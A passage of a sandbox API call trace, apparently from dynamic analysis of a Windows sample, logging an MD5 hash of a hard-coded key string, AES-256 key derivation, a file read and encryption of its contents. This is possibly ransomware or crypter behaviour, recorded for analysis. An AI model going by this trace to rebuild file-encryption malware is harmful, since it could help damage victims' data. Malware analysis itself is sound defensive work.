lpMsg=0xe8f3dfeb20) returned 0 [0029.223] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.223] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.223] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.223] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199650) returned 1 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.223] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.223] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.224] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.224] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.224] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.224] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.224] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.224] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.224] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.225] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0029.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417b120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0029.225] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0029.225] CryptCreateHash (in: hProv=0xe8f4199650, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.226] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.226] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.226] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.226] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0029.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418ba50, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0029.227] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.227] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0029.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b3c0, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0029.227] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.227] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.227] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.228] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0029.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0xe8f417ab80, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0029.228] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptHashData") returned 0x7ffe2a59e86c [0029.228] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418bb40, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.229] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.229] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.229] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.229] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.229] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.229] CryptDeriveKey (in: hProv=0xe8f4199650, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0029.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.229] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.229] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.230] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.230] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0029.230] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.230] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.230] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.232] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.232] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0029.233] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6582, lpOverlapped=0x0) returned 1 [0029.233] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.236] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.237] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.237] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.237] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.237] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.237] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.237] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.238] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.238] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.238] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.239] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0029.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417b280, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0029.239] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0029.239] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064ce0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ce0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.240] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.240] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.241] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.241] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.241] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.241] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.241] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.243] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.243] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16582, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16590) returned 1 [0029.243] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.243] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.243] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.243] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.243] CharLowerBuffW (in: lpsz="byte[91537]", cchLength=0xb | out: lpsz="byte[91537]") returned 0xb [0029.243] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.245] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.245] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.245] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x16582, dwBufLen=0x16590 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x16590) returned 1 [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.245] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.245] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.245] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 